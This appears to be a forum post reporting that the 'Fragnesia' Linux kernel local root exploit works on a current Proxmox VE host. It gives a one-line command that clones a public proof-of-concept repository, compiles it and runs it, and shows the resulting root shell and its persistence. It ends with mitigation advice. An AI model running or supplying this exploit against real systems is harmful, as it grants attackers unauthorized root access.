Fragnesia

In a virtual PVE, pve-no-subscription, both physical host and virtual host uptodate:
Code:
root@pnb:~# pveversion
pve-manager/9.1.11/8eac2c86f015bdda (running kernel: 7.0.2-2-pve)
In a shell of a "normal" user:
Code:
poc@pnb:~$ git clone https://github.com/v12-security/pocs.git && cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
#
# a lot of output...

# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

After that is run once it stays active until the cache is cleared. Meanwhile:
Code:
poc@pnb:~$ id
uid=1000(poc) gid=1000(poc) groups=1000(poc),100(users)
poc@pnb:~$ su -
# id
uid=0(root) gid=0(root) groups=0(root)

the upstream patches are still in flux, but the manual mitigations for copyfail and dirtyfrag (forbidding the affected modules) protect against the issue according to the reports so far. there will be an announcement as usual once fixed kernel packages become available.
